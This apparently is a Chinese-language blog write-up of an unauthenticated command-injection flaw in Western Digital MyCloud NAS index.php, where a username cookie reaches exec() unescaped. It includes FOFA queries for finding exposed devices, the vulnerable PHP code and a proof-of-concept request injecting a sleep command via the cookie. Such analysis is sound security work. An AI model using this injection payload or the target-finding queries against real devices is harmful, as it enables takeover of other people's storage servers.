西部数码 NAS index.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS index.php中Cookie存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 index.php 其业务实现逻辑如下

function do_login($username)
{
        $ret = 0; //no login;

        if ($username != "")
        {
                /* [+] Get Web Timeout setting */
                $res = array();
                exec("xmldbc -g /system_mgr/idle/time", $res);
                $web_timeout = $res[0]*60;
                /* [-] Get Web Timeout setting */

                exec("wto -n \"$username\" -g", $ret);

在看下$username来自那里

if (isset($_SESSION['username']))
{
    $username = $_SESSION['username'];
}
else if (isset($_COOKIE['username']))
{
    $username = $_COOKIE['username'];
}

通过session或者cookie里的username获取,用户可控的部分为cookie,且不需要登录,前台权限即可。

再看下那里调用了do_login方法

自此,整个流程就通了,代码中通过cookie里的username直接获取用户输入参数,未经过任何过滤或转义便拼接至系统命令 exec("wto -n \"$username\" -g", $ret); 中,攻击者可通过构造恶意参数注入任意系统命令。

漏洞复现

GET /web/index.php HTTP/1.1
Host: west.nas.mrxn.net
Cookie: username=a" || sleep 3 || "

成功延时 3 秒


手机扫码阅读

汉王e脸通综合管理平台 querySysAuthStr.do SQL注入漏洞

汉王e脸通综合管理平台 exportMeetingEmployeeRecordExcel.do SQL注入漏洞

评 论